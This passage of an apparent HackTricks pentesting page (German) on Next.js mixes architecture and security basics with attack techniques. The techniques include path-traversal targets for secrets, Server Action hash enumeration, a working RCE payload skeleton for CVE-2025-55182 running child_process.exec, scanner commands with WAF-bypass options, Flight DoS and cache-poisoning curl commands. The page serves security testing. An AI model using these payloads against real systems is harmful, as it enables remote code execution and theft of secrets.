class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Eigener Server (Optional)
Zweck: Obwohl Next.js einen eingebauten Server mitbringt, können Sie einen eigenen Server für fortgeschrittene Anwendungsfälle erstellen, z. B. für benutzerdefiniertes Routing oder die Integration in bestehende Backend-Services.
Hinweis: Die Verwendung eines eigenen Servers kann die Bereitstellungsoptionen einschränken, insbesondere auf Plattformen wie Vercel, die für den eingebauten Server von Next.js optimiert sind.
Beispiel:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Zusätzliche Architektur- und Sicherheitsüberlegungen
Umgebungsvariablen und Konfiguration
Zweck: Sensible Informationen und Konfigurationseinstellungen außerhalb der Codebasis verwalten.
Empfohlene Vorgehensweisen:
- Verwende
.env-Dateien: Speichere Variablen wie API-Schlüssel in.env.local(aus der Versionskontrolle ausgeschlossen). - Greife sicher auf Variablen zu: Verwende
process.env.VARIABLE_NAME, um auf Umgebungsvariablen zuzugreifen. - Secrets niemals im Client offenlegen: Stelle sicher, dass sensible Variablen nur server-side verwendet werden.
Beispiel:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Hinweis: Um Variablen auf serverseitig zu beschränken, lasse sie aus dem env-Objekt weg oder stelle sie mit NEXT_PUBLIC_ voran, damit sie im Client sichtbar sind.
Nützliche serverseitige Artefakte, die über Path traversal/LFI/download-Endpunkte angegriffen werden sollten
Wenn du einen path traversal oder download API in einer Next.js app findest, ziele auf kompilierte Artefakte, die serverseitige Secrets und Auth-Logik leak:
.env/.env.localfür Session-Secrets und Provider-Credentials..next/routes-manifest.jsonund.next/build-manifest.jsonfür eine vollständige Routenliste..next/server/pages/api/auth/[...nextauth].jsum die kompilierte NextAuth-Konfiguration wiederherzustellen (enthält oft Fallback-Passwörter, wennprocess.env-Werte nicht gesetzt sind).next.config.js/next.config.mjsum rewrites, redirects und Middleware-Routing zu überprüfen.
Authentication and Authorization
Vorgehensweise:
- Sitzungsbasierte Authentifizierung: Verwende Cookies, um Benutzersitzungen zu verwalten.
- Token-basierte Authentifizierung: Setze JWTs für zustandslose Authentifizierung ein.
- Third-Party Providers: Integriere OAuth-Anbieter (z. B. Google, GitHub) mit Bibliotheken wie
next-auth.
Sicherheitspraktiken:
- Secure Cookies: Setze die Attribute
HttpOnly,SecureundSameSite. - Password Hashing: Hash Passwörter immer, bevor du sie speicherst.
- Input Validation: Verhindere Injection-Angriffe durch Validierung und Bereinigung von Eingaben.
Beispiel:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Leistungsoptimierung
Strategien:
- Bildoptimierung: Verwenden Sie die
next/image-Komponente von Next.js für automatische Bildoptimierung. - Code-Splitting: Nutzen Sie dynamische Imports, um Code aufzuteilen und die anfänglichen Ladezeiten zu reduzieren.
- Caching: Implementieren Sie Caching-Strategien für API-Antworten und statische Assets.
- Lazy Loading: Laden Sie Komponenten oder Assets nur, wenn sie benötigt werden.
Beispiel:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
Modernes Next.js verwendet “Server Actions”, die auf dem Server ausgeführt werden, aber vom Client aufgerufen werden. In der Produktion sind diese Aufrufe undurchsichtig: alle POSTs treffen auf einen gemeinsamen Endpoint und werden durch einen build-spezifischen hash unterschieden, der im Next-Action Header gesendet wird. Beispiel:
POST /
Next-Action: a9f8e2b4c7d1...
Wenn productionBrowserSourceMaps aktiviert ist, enthalten minified JS chunks Aufrufe von createServerReference(...), die genug Struktur (plus zugehörige source maps) leaken, um eine Zuordnung zwischen dem action hash und dem ursprünglichen Funktionsnamen wiederherzustellen. Dadurch lassen sich Hashes, die in Next-Action beobachtet werden, in konkrete Ziele wie deleteUserAccount() oder exportFinancialData() übersetzen.
Extraktionsansatz (regex on minified JS + optional source maps)
Durchsuche heruntergeladene JS chunks nach createServerReference und extrahiere den Hash sowie das Funktion-/Source-Symbol. Zwei nützliche Muster:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Gruppe 1: server action hash (40+ hex chars)
- Gruppe 2: Symbol oder Pfad, der sich (bei Vorhandensein) über die source map auf die ursprüngliche Funktion auflösen lässt
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Practical workflow
- Passives Auffinden beim Surfen: Requests mit
Next-Action-Headers und JS chunk URLs mitschneiden. - Die referenzierten JS-Bundles und die zugehörigen
*.map-Dateien (wenn vorhanden) herunterladen. - Das oben genannte regex ausführen, um ein hash↔name-Wörterbuch zu erstellen.
- Das Wörterbuch zur gezielten Testauswahl verwenden:
- Name-basierte Triage (z. B.
transferFunds,exportFinancialData). - Coverage über Builds anhand von Funktionsnamen nachverfolgen (Hashes rotieren zwischen Builds).
Exercising hidden actions (template-based request)
Nimm einen gültigen POST, der im Proxy beobachtet wurde, als Vorlage, und ersetze den Next-Action-Wert, um eine andere entdeckte action zu targeten:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Replay in Repeater und teste Autorisierung, Eingabevalidierung und Geschäftslogik von ansonsten unerreichbaren Actions.
Burp automation
- NextjsServerActionAnalyzer (Burp extension) automatisiert das Obige in Burp:
- Durchsucht den Proxy-Verlauf nach JS-Chunks, extrahiert
createServerReference(...)-Einträge und parst Source Maps, wenn verfügbar. - Führt ein durchsuchbares hash↔Funktionsnamen-Wörterbuch und de-dupliziert über Builds hinweg anhand des Funktionsnamens.
- Kann ein gültiges Template-POST lokalisieren und einen sendebereiten Repeater-Tab öffnen, in dem der Hash der Ziel-Action eingesetzt ist.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notes and limitations
- Benötigt, dass
productionBrowserSourceMapsin production aktiviert ist, um Namen aus Bundles/Source Maps wiederherzustellen. - Die Offenlegung von Funktionsnamen ist für sich genommen keine Schwachstelle; nutze sie, um die Entdeckung zu lenken und die Autorisierung jeder Action zu testen.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router deployments, die Server Actions auf react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) exponieren, enthalten eine kritische serverseitige prototype pollution während der Deserialisierung von Flight-Chunks. Durch das Einfügen von $-Referenzen in eine Flight-Payload kann ein Angreifer von verschmutzten Prototypen zu beliebiger JavaScript-Ausführung und anschließend zu OS-Command-Ausführung innerhalb des Node.js-Prozesses pivotieren.
NodeJS - proto & prototype Pollution
Attack chain in Flight chunks
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructor→Object, andObject.constructor→Function, so future calls to_formData.get()actually executeFunction(...). - Code execution via
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Abbildung der React Server Function-Exposition
React Server Functions (RSF) sind alle Funktionen, die die 'use server'; Direktive enthalten. Jede form action, mutation oder fetch helper, die an eine dieser Funktionen gebunden ist, wird zu einem RSC Flight endpoint, das bereitwillig vom Angreifer gelieferte payloads deserialisiert. Nützliche recon-Schritte, abgeleitet aus React2Shell-Assessments:
- Statische Inventarisierung: suche nach der Direktive, um zu verstehen, wie viele RSFs vom Framework automatisch exponiert werden.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-appaktiviert standardmäßig den App Router + das Verzeichnisapp/, wodurch stillschweigend jede Route zu einem RSC-fähigen Endpoint wird. App Router assets wie/_next/static/chunks/app/oder Antworten, die Flight chunks übertext/x-componentstreamen, sind starke Internet-facing Fingerprints. - Implicitly vulnerable RSC deployments: React’s own advisory weist darauf hin, dass Apps, die die RSC-Runtime ausliefern, ausnutzbar sein können even without explicit RSFs, daher sollte jeder Build, der
react-server-dom-*19.0.0–19.2.0 verwendet, als verdächtig gelten. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reuse den gleichen Serializer und übernehmen dieselbe remote Angriffsfläche, bis sie gepatchte React-Builds einbetten.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: anfällig in 19.0.0, 19.1.0–19.1.1 und 19.2.0; gepatcht in 19.0.1, 19.1.2 und 19.2.1 jeweils.- Next.js stable: App Router Releases 15.0.0–16.0.6 enthalten den anfälligen RSC-Stack. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 beinhalten fixed deps, daher ist jeder Build unter diesen Versionen hochrelevant.
- Next.js canary:
14.3.0-canary.77+liefert ebenfalls die buggy Runtime und hat derzeit keine gepatchten canary drops, wodurch diese Fingerprints starke Exploitation-Kandidaten sind.
Remote detection oracle
Assetnote’s react2shell-scanner sends a crafted multipart Flight request to candidate paths and watches server-side behavior:
- Default mode führt eine deterministische RCE-Payload aus (mathematische Operation, die via
X-Action-Redirectreflektiert wird) und beweist damit Codeausführung. --safe-checkmode verfälscht die Flight-Nachricht absichtlich so, dass gepatchte Server200/400zurückgeben, während verwundbare ZieleHTTP/500-Antworten senden, die die TeilzeichenketteE{"digest"im Body enthalten. Dieses(500 + digest)-Paar ist derzeit das zuverlässigste remote oracle, das von Verteidigern veröffentlicht wurde.- Eingebaute Schalter
--waf-bypass,--vercel-waf-bypass, und--windowspassen das Payload-Layout an, prependen Junk oder tauschen OS-Commands aus, sodass du reale Internet-Assets probeen kannst.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Weitere aktuelle App Router issues (Ende 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – fehlerhafte Flight payloads können den RSC-Resolver in eine Endlosschleife treiben (pre-auth DoS) oder die Serialisierung von kompiliertem Server Function-Code für andere Aktionen erzwingen. App Router-Builds ≥13.3 sind bis zum Patch betroffen; 15.0.x–16.0.x benötigen die spezifischen Patch-Zeilen aus dem Upstream-Advisory. Wiederverwende den normalen Server Action-Pfad, sende aber einen
text/x-component-Body mit missbräuchlichen$-Verweisen. Hinter einem CDN bleibt die hängende Verbindung durch Cache-Timeouts offen, wodurch der DoS kostengünstig wird.
- Triage tip: Ungepatchte Ziele antworten mit
500undE{"digest"nach fehlerhaften Flight payloads; gepatchte Builds antworten mit400/200. Teste jeden Endpoint, der bereits Flight-Chunks streamt (suche nachNext-Action-Headern odertext/x-component-Antworten) und wiederhole mit einem modifizierten Payload.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – ein fehlender
Vary-Header ließ eineAccept: text/x-component-Antwort cachen und an Browser ausliefern, die HTML erwarteten. Eine einzige Priming-Anfrage kann die Seite durch rohe RSC-Payloads ersetzen. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
Wenn die zweite Antwort JSON-Flight-Daten statt HTML zurückgibt, ist die Route für Cache poisoning angreifbar. Cache nach dem Test leeren.
References
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


